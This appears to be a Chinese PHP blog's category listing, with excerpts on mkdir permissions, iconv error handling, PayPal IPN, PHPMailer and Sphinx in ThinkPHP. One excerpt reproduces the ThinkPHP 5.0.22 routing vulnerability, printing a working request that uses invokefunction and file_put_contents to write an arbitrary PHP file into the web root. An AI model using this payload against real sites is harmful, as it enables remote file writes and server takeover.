Articles in the category of php

php

111.png

PHP自带创建目录的代码,在upload目录下,先创建document再创建20200212两个目录 # 判断存储目录是否存在,无则自动创建 $storage = '/upload/document/20200212'; if(!is_dir($storage)){ mkdir($storage,'0777',true); chmod($storage,0777); }根据php文档说明,使用true就能够递归,实现上在服务器上创建document之后,就出现了权限问题。Warning: mkdir(): Permission denied in /home/public...

- Read More -
php

v1.png

php实现try catch跳过错误继续执行,不终止程序。不加try catch时return iconv($encoding,$this->_outEncoding,$string); 加try catch后try { return iconv($encoding,$this->_outEncoding,$string); } catch(\Exception $e) { return 1; } 修正错误处理方式try { return iconv($encoding,$this->_outEncoding,$string); } catch(\E...

- Read More -
php,技巧

之前用 date('Y.W',time())获取某天是几几年第几周,发现跨年的时候,会有问题。比如2019-12-30变成了2019年第52周。而我的java %{+xxxx.ww} 获得是的2020年第1周,导致我对不上数据,后来查资料之下发现pph使用 date('o.W',time()) 即可对于跨年获得下一年的年周 即2020年第1周。一个php ip反向查找的函数,一般要准确判断某个ip是不是蜘蛛,只能反向查找最准确。$dnsr = gethostbyaddr('123.125.71.111'); print_r($dnsr); 效果baiduspider-123-125-71...

- Read More -
php,技巧

使用Magento也有半年多了,现在一切安好,运行稳定,想想刚开始折腾的那么辛苦,现在终于有空写写技术边缘的东西了。一般使用了Magento,都基本上涉及的是外贸类型网站,基本上服务器线路主机空间不会选国内的,但很多人会在国外空间商手里买国外线路的空间,其实要使用国外空间,千万不要到国内空间商手上买国外空间,我相信这种情况是因为我们对国外空间商信息了解不够,再重要是语言沟通和支付上的障碍,但这其实不是问题,而且国外空间商经国内空间的产品质量好太多了。前几年,帮别人做的很多网站都是因此备案麻烦而找国外线路的空间,其中使用过 中国网格的香港空间(超便宜的价格但问题太多了),互易中国的美国空间...

- Read More -
php

999.jpg

好久好久没有倒腾发邮件了,更是很久没有使用PHPMailer了,好在这东东与时俱进,在我php7.2环境下没异常。https://github.com/Synchro/PHPMailer/releases 下载版本 v5.2.13 (我下了这个)解压缩文件架重命名为 PHPMailer 复制到 ThinkLibraryVendor 下,删掉多余的东西 docs examples test这几个目录。新建或添加代码到ApplicationCommonCommonfunction.php要163邮箱打开smtp,生成客户端授权码,如今不在使用密码登录stmp了切记,这样不安全。functio...

- Read More -
php

很久很久以前做过paypal的支付,最近在github上paypal的sdk,感觉变成庞然大物了。于是索性看看以前的理理看看以前的代码,适当修改一下就用起来了,新的sdk太费时了。paypal的支付流程基本如下1.发起支付2.用户进入付款,paypal异步向网站预设定接口发送通知3.接口收到用户付款相关状态的通知后,再次向paypal进入消息的核实4.消息核实通过后,更新订单状态5.用户支付完成,并跳转回网站这其中2、3、4都是异步进行的,业务层面还有一些待完善的地方,比如token更严格,比如防止重复支付等。以下是paypal sandbox url,正式使用时换成正式url<?...

- Read More -
php

003.jpg

在thinkphp5中使用sphinx相对比较简单,标准规范的方法自然是把sphinx api文件放到extend中。根据tp5的规范说明#如果你需要在核心之外扩展和使用第三方类库,并且该类库不是通过Composer安装使用,那么可以直接放入应用根目录下面的#extend目录下面,该目录是官方建议的第三方扩展类库目录。 #类的命名规范遵循PSR-2及PSR-4规范,例如,如果有一个扩展类库的命名空间是 first.second.Foo,类定义如下: namespace first\second; class Foo { } #使用第三方类库的时候注意不要和系统的命名空间产生冲突,...

- Read More -
linux,php

a1.jpg

从官方下载thinkphp_5.0.22_with_extend.zip完整包部署,漏洞一(路由逻辑)复现:在默认(没开启强制路由)的情况下,可轻易向WEB目录写入任意文件。http://192.168.137.3/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=ps5.php&vars[1][2]=lalalalalal 即可成功写入ps5.phphttp://192.168.137.3/ps5.php...

- Read More -
php,技巧

ccav.png

直接下载的新版notepad++没有文本对比,而插件管理的扩展也总是很难安装上,安装上了又下载不了。就直接保存一个能用的版本这样用着吧!notepad++支持文本对比版本http://www.isres.com/usr/uploads/2018/10/2963794115.zipnotepad++支持文本对比插件ComparePlugin.dllhttp://www.isres.com/usr/uploads/2018/10/854540668.zip下载插件后,解压的ComparePlugin.dll复制到notepad++安装目录下plugins下比如:C:Program Files...

- Read More -
This is just a placeholder img.